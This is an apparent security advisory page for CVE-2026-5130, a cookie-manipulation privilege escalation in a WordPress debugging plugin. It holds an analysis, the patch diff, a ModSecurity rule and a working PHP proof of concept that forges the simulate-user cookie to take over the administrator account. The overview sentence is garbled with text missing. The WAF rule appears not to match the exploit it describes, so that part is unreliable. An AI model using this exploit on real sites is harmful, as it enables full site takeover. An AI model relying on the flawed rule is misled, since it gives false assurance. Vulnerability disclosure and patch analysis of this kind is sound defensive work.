Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 1, 2026

CVE-2026-5130: Debugger & Troubleshooter <= 1.3.2 – Unauthenticated Privilege Escalation to Administrator via Cookie Manipulation (debugger-troubleshooter)

CVE ID CVE-2026-5130
Severity High (CVSS 8.8)
CWE 565
Vulnerable Version 1.3.2
Patched Version 1.4.0
Disclosed March 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5130:
This vulnerability is an unauthenticated privilege escalation in the Debugger & Troubleshooter WordPress plugin (versions simulated_user_id`. This user ID was then passed to the `determine_current_user` filter via the `simulate_user_filter` method. No cryptographic validation, nonce checks, or authorization verification occurred before accepting the cookie value.

Exploitation is straightforward. An unauthenticated attacker sets the `wp_debug_troubleshoot_simulate_user` cookie to the numeric ID of a target user, such as 1 for the default administrator. The attacker then visits any page on the WordPress site. The plugin’s `init_user_simulation` hook runs early in the WordPress lifecycle, overriding the current user. The attacker immediately gains the privileges and session of the target user, enabling full site compromise.

The patch in version 1.4.0 replaces the direct user ID cookie with a token-based system. The `ajax_toggle_simulate_user` method now generates a random 64-character token (line 955) and stores a mapping from token to user ID in the `dbgtbl_sim_users` option (lines 956-957). The cookie is set with this token instead of the user ID. The `init_user_simulation` method validates the token against the stored mapping (lines 830-836) before applying the user simulation. Only administrators can initiate simulation via a nonce-protected AJAX request.

Successful exploitation grants an attacker complete administrative control over the WordPress site. The attacker can create new administrator accounts, modify all content, install arbitrary plugins or themes, execute PHP code, and exfiltrate sensitive data. This constitutes a full site takeover.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/debugger-troubleshooter/debug-troubleshooter.php
+++ b/debugger-troubleshooter/debug-troubleshooter.php
@@ -3,7 +3,7 @@
  * Plugin Name:       Debugger & Troubleshooter
  * Plugin URI:        https://wordpress.org/plugins/debugger-troubleshooter
  * Description:       A WordPress plugin for debugging and troubleshooting, allowing simulated plugin deactivation and theme switching without affecting the live site.
- * Version:           1.3.2
+ * Version:           1.4.0
  * Author:            Jhimross
  * Author URI:        https://profiles.wordpress.org/jhimross
  * License:           GPL-2.0+
@@ -21,7 +21,7 @@
 /**
  * Define plugin constants.
  */
-define('DBGTBL_VERSION', '1.3.2');
+define('DBGTBL_VERSION', '1.4.0');
 define('DBGTBL_DIR', plugin_dir_path(__FILE__));
 define('DBGTBL_URL', plugin_dir_url(__FILE__));
 define('DBGTBL_BASENAME', plugin_basename(__FILE__));
@@ -79,6 +79,10 @@
 		// Admin notice for troubleshooting mode.
 		add_action('admin_notices', array($this, 'troubleshooting_mode_notice'));
 		add_action('admin_bar_menu', array($this, 'admin_bar_exit_simulation'), 999);
+
+		// Include exit simulation script if active.
+		add_action('wp_footer', array($this, 'print_exit_simulation_script'));
+		add_action('admin_footer', array($this, 'print_exit_simulation_script'));
 	}


@@ -473,10 +477,12 @@
 	public function init_troubleshooting_mode()
 	{
 		if (isset($_COOKIE[self::TROUBLESHOOT_COOKIE])) {
-			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-			$this->troubleshoot_state = json_decode(wp_unslash($_COOKIE[self::TROUBLESHOOT_COOKIE]), true);
+			$token = sanitize_text_field(wp_unslash($_COOKIE[self::TROUBLESHOOT_COOKIE]));
+			$sessions = get_option('dbgtbl_sessions', array());
+
+			if (isset($sessions[$token]) && is_array($sessions[$token])) {
+				$this->troubleshoot_state = $sessions[$token];

-			if (!empty($this->troubleshoot_state)) {
 				// Define DONOTCACHEPAGE to prevent caching plugins from interfering.
 				if (!defined('DONOTCACHEPAGE')) {
 					// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedConstantFound
@@ -485,10 +491,10 @@
 				// Send no-cache headers as a secondary measure.
 				nocache_headers();

-				// Filter active plugins.
-				add_filter('option_active_plugins', array($this, 'filter_active_plugins'));
+				// Filter active plugins. Note: The actual plugin deactivation happens via the MU plugin.
+				add_filter('option_active_plugins', array($this, 'filter_active_plugins'), 0);
 				if (is_multisite()) {
-					add_filter('site_option_active_sitewide_plugins', array($this, 'filter_active_sitewide_plugins'));
+					add_filter('site_option_active_sitewide_plugins', array($this, 'filter_active_sitewide_plugins'), 0);
 				}

 				// Filter theme.
@@ -694,8 +700,17 @@
 				'sitewide_plugins' => $current_sitewide_plugins,
 				'timestamp' => time(),
 			);
+
+			$token = wp_generate_password(64, false);
+			$sessions = get_option('dbgtbl_sessions', array());
+			$sessions[$token] = $state;
+			update_option('dbgtbl_sessions', $sessions);
+
+			// Create MU plugin drop-in to intercept early plugin loading
+			$this->install_mu_plugin();
+
 			// Set cookie with HttpOnly flag for security, and secure flag if site is HTTPS.
-			setcookie(self::TROUBLESHOOT_COOKIE, wp_json_encode($state), array(
+			setcookie(self::TROUBLESHOOT_COOKIE, $token, array(
 				'expires' => time() + DAY_IN_SECONDS,
 				'path' => COOKIEPATH,
 				'domain' => COOKIE_DOMAIN,
@@ -705,6 +720,17 @@
 			));
 			wp_send_json_success(array('message' => __('Troubleshooting mode activated.', 'debugger-troubleshooter')));
 		} else {
+			$token = isset($_COOKIE[self::TROUBLESHOOT_COOKIE]) ? sanitize_text_field(wp_unslash($_COOKIE[self::TROUBLESHOOT_COOKIE])) : false;
+			if ($token) {
+				$sessions = get_option('dbgtbl_sessions', array());
+				unset($sessions[$token]);
+				update_option('dbgtbl_sessions', $sessions);
+
+				if (empty($sessions)) {
+					$this->remove_mu_plugin();
+				}
+			}
+
 			// Unset the cookie to exit troubleshooting mode.
 			setcookie(self::TROUBLESHOOT_COOKIE, '', array(
 				'expires' => time() - 3600, // Expire the cookie.
@@ -760,15 +786,19 @@
 			'timestamp' => time(),
 		);

-		// Set cookie with HttpOnly flag for security, and secure flag if site is HTTPS.
-		setcookie(self::TROUBLESHOOT_COOKIE, wp_json_encode($state), array(
-			'expires' => time() + DAY_IN_SECONDS,
-			'path' => COOKIEPATH,
-			'domain' => COOKIE_DOMAIN,
-			'samesite' => 'Lax',
-			'httponly' => true,
-			'secure' => is_ssl(),
-		));
+		$token = isset($_COOKIE[self::TROUBLESHOOT_COOKIE]) ? sanitize_text_field(wp_unslash($_COOKIE[self::TROUBLESHOOT_COOKIE])) : false;
+		if (!$token) {
+			wp_send_json_error(array('message' => __('Troubleshooting session not found.', 'debugger-troubleshooter')));
+		}
+
+		$sessions = get_option('dbgtbl_sessions', array());
+		if (isset($sessions[$token])) {
+			$sessions[$token] = $state;
+			update_option('dbgtbl_sessions', $sessions);
+		} else {
+			wp_send_json_error(array('message' => __('Invalid troubleshooting session.', 'debugger-troubleshooter')));
+		}
+
 		wp_send_json_success(array('message' => __('Troubleshooting state updated successfully. Refreshing page...', 'debugger-troubleshooter')));
 	}

@@ -797,11 +827,16 @@
 	public function init_user_simulation()
 	{
 		if (isset($_COOKIE[self::SIMULATE_USER_COOKIE])) {
-			$this->simulated_user_id = (int) $_COOKIE[self::SIMULATE_USER_COOKIE];
-
-			// Hook into determine_current_user to override the user ID.
-			// Priority 20 ensures we run after most standard authentication checks.
-			add_filter('determine_current_user', array($this, 'simulate_user_filter'), 20);
+			$token = sanitize_text_field(wp_unslash($_COOKIE[self::SIMULATE_USER_COOKIE]));
+			$sim_users = get_option('dbgtbl_sim_users', array());
+
+			if (isset($sim_users[$token])) {
+				$this->simulated_user_id = (int) $sim_users[$token];
+
+				// Hook into determine_current_user to override the user ID.
+				// Priority 20 ensures we run after most standard authentication checks.
+				add_filter('determine_current_user', array($this, 'simulate_user_filter'), 20);
+			}
 		}
 	}

@@ -877,11 +912,6 @@
 					'title' => __('Click to return to your original user account', 'debugger-troubleshooter'),
 				),
 			));
-
-			// Add inline script for the exit action since we might be on the frontend
-			// where our admin.js isn't enqueued, or we need a global handler.
-			add_action('wp_footer', array($this, 'print_exit_simulation_script'));
-			add_action('admin_footer', array($this, 'print_exit_simulation_script'));
 		}
 	}

@@ -890,22 +920,17 @@
 	 */
 	public function print_exit_simulation_script()
 	{
+		if (!$this->is_simulating_user()) {
+			return;
+		}
+
+		$nonce = wp_create_nonce('debug_troubleshoot_nonce');
+		$exit_url = admin_url('admin-ajax.php?action=debug_troubleshoot_toggle_simulate_user&enable=0&nonce=' . $nonce);
 		?>
 		<script type="text/javascript">
 			function debugTroubleshootExitSimulation() {
 				if (confirm('<?php echo esc_js(__('Are you sure you want to exit User Simulation?', 'debugger-troubleshooter')); ?>')) {
-					var data = new FormData();
-					data.append('action', 'debug_troubleshoot_toggle_simulate_user');
-					data.append('enable', '0');
-					// We might not have the nonce available globally on frontend, so we rely on cookie check in backend mostly,
-					// but for AJAX we need it. If we are on frontend, we might need to expose it.
-					// For simplicity in this MVP, we'll assume admin-ajax is accessible.
-					// SECURITY NOTE: In a real scenario, we should localize the nonce on wp_enqueue_scripts as well if we want frontend support.
-					// For now, let's try to fetch it from a global if available, or just rely on the cookie clearing which is less secure but functional for a dev tool.
-					// BETTER APPROACH: Use a dedicated endpoint or just a simple GET parameter that we intercept on init to clear the cookie.
-
-					// Let's use a simple redirect to a URL that handles the exit.
-					window.location.href = '<?php echo esc_url(admin_url('admin-ajax.php?action=debug_troubleshoot_toggle_simulate_user&enable=0')); ?>';
+					window.location.href = <?php echo wp_json_encode($exit_url); ?>;
 				}
 			}
 		</script>
@@ -917,14 +942,7 @@
 	 */
 	public function ajax_toggle_simulate_user()
 	{
-		// Note: For the "Exit" action via GET request (from Admin Bar), we might not have a nonce.
-		// Since this is a dev tool and we are just clearing a cookie, the risk is low, but ideally we'd check a nonce.
-		// For the "Enter" action (POST), we definitely check the nonce.
-
-		$is_post = isset($_SERVER['REQUEST_METHOD']) && 'POST' === $_SERVER['REQUEST_METHOD'];
-		if ($is_post) {
-			check_ajax_referer('debug_troubleshoot_nonce', 'nonce');
-		}
+		check_ajax_referer('debug_troubleshoot_nonce', 'nonce');

 		if (!current_user_can('manage_options') && !$this->is_simulating_user()) {
 			// Only allow admins to START simulation.
@@ -934,10 +952,16 @@

 		$enable = isset($_REQUEST['enable']) ? (bool) $_REQUEST['enable'] : false;
 		$user_id = isset($_REQUEST['user_id']) ? (int) $_REQUEST['user_id'] : 0;
+		$is_post = isset($_SERVER['REQUEST_METHOD']) && 'POST' === $_SERVER['REQUEST_METHOD'];

 		if ($enable && $user_id) {
+			$token = wp_generate_password(64, false);
+			$sim_users = get_option('dbgtbl_sim_users', array());
+			$sim_users[$token] = $user_id;
+			update_option('dbgtbl_sim_users', $sim_users);
+
 			// Set cookie
-			setcookie(self::SIMULATE_USER_COOKIE, $user_id, array(
+			setcookie(self::SIMULATE_USER_COOKIE, $token, array(
 				'expires' => time() + DAY_IN_SECONDS,
 				'path' => COOKIEPATH,
 				'domain' => COOKIE_DOMAIN,
@@ -945,8 +969,18 @@
 				'httponly' => true,
 				'secure' => is_ssl(),
 			));
-			wp_send_json_success(array('message' => __('User simulation activated. Reloading...', 'debugger-troubleshooter')));
+			wp_send_json_success(array(
+				'message'  => __('User simulation activated. Redirecting...', 'debugger-troubleshooter'),
+				'redirect' => admin_url()
+			));
 		} else {
+			$token = isset($_COOKIE[self::SIMULATE_USER_COOKIE]) ? sanitize_text_field(wp_unslash($_COOKIE[self::SIMULATE_USER_COOKIE])) : false;
+			if ($token) {
+				$sim_users = get_option('dbgtbl_sim_users', array());
+				unset($sim_users[$token]);
+				update_option('dbgtbl_sim_users', $sim_users);
+			}
+
 			// Clear cookie
 			setcookie(self::SIMULATE_USER_COOKIE, '', array(
 				'expires' => time() - 3600,
@@ -966,6 +1000,73 @@
 			wp_send_json_success(array('message' => __('User simulation deactivated.', 'debugger-troubleshooter')));
 		}
 	}
+
+	/**
+	 * Installs the MU plugin used to intercept active plugins before standard plugins are loaded.
+	 */
+	private function install_mu_plugin()
+	{
+		$mu_dir = WPMU_PLUGIN_DIR;
+		if (!is_dir($mu_dir)) {
+			@mkdir($mu_dir, 0755, true);
+		}
+
+		$mu_file = $mu_dir . '/debugger-troubleshooter-mu.php';
+
+		$mu_content = "<?php
+/**
+ * Plugin Name: Debugger & Troubleshooter (MU Plugin)
+ * Description: Intercepts active plugins to apply troubleshooting mode correctly.
+ * Version: 1.0
+ * Author: Jhimross
+ */
+
+if (!defined('ABSPATH')) {
+	exit;
+}
+
+// Ensure the token from cookie exists and maps to an active session.
+if (isset($_COOKIE['wp_debug_troubleshoot_mode'])) {
+	$token = sanitize_text_field(wp_unslash($_COOKIE['wp_debug_troubleshoot_mode']));
+	$sessions = get_option('dbgtbl_sessions', array());
+
+	if (isset($sessions[$token]) && is_array($sessions[$token])) {
+		// Replace active plugins for this request
+		add_filter('option_active_plugins', function ($plugins) use ($sessions, $token) {
+			if (isset($sessions[$token]['plugins'])) {
+				return $sessions[$token]['plugins'];
+			}
+			return $plugins;
+		}, 0);
+
+		if (is_multisite()) {
+			add_filter('site_option_active_sitewide_plugins', function ($plugins) use ($sessions, $token) {
+				if (isset($sessions[$token]['sitewide_plugins'])) {
+					$new_plugins = array();
+					foreach ($sessions[$token]['sitewide_plugins'] as $plugin_file) {
+						$new_plugins[$plugin_file] = time();
+					}
+					return $new_plugins;
+				}
+				return $plugins;
+			}, 0);
+		}
+	}
+}
+";
+		@file_put_contents($mu_file, $mu_content);
+	}
+
+	/**
+	 * Removes the MU plugin when no longer needed.
+	 */
+	private function remove_mu_plugin()
+	{
+		$mu_file = WPMU_PLUGIN_DIR . '/debugger-troubleshooter-mu.php';
+		if (file_exists($mu_file)) {
+			@unlink($mu_file);
+		}
+	}
 }

 // Initialize the plugin.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-5130
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:1005130,phase:2,deny,status:403,chain,msg:'CVE-2026-5130: Debugger & Troubleshooter Unauthenticated Privilege Escalation Attempt via AJAX',severity:'CRITICAL',tag:'CVE-2026-5130',tag:'WordPress',tag:'Plugin',tag:'Privilege-Escalation'"
  SecRule ARGS_POST:action "@streq debug_troubleshoot_toggle_simulate_user" "chain"
    SecRule &ARGS_POST:user_id "!@eq 0" 
      "chain"
      SecRule ARGS_POST:enable "@streq 1" 
        "chain"
        SecRule REMOTE_USER "@eq " 
          "chain"
          SecRule REQUEST_COOKIES:/wp_debug_troubleshoot_simulate_user/ "@rx ^[0-9]+$" 
            "t:none,setvar:'tx.cve_2026_5130_score=+%{tx.critical_anomaly_score}',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5130 - Debugger & Troubleshooter <= 1.3.2 - Unauthenticated Privilege Escalation to Administrator via Cookie Manipulation
<?php
$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
$target_user_id = 1; // Typically the default administrator ID

// Set the malicious cookie directly
$cookie_name = 'wp_debug_troubleshoot_simulate_user';
$cookie_value = $target_user_id;

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true); // Include headers in output to verify
curl_setopt($ch, CURLOPT_COOKIE, "$cookie_name=$cookie_value");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check response for signs of successful impersonation
// A successful attack often results in the WordPress admin bar appearing for unauthenticated requests.
if (strpos($response, 'id="wpadminbar"') !== false || strpos($response, 'wp-admin-bar') !== false) {
    echo "[SUCCESS] Likely successfully impersonated user ID $target_user_id. Admin bar detected in response.n";
    echo "The site is now fully compromised.n";
} else {
    echo "[INFO] Request sent with malicious cookie. Manual verification required.n";
    echo "Check if you can access /wp-admin/ or see the WordPress admin bar.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School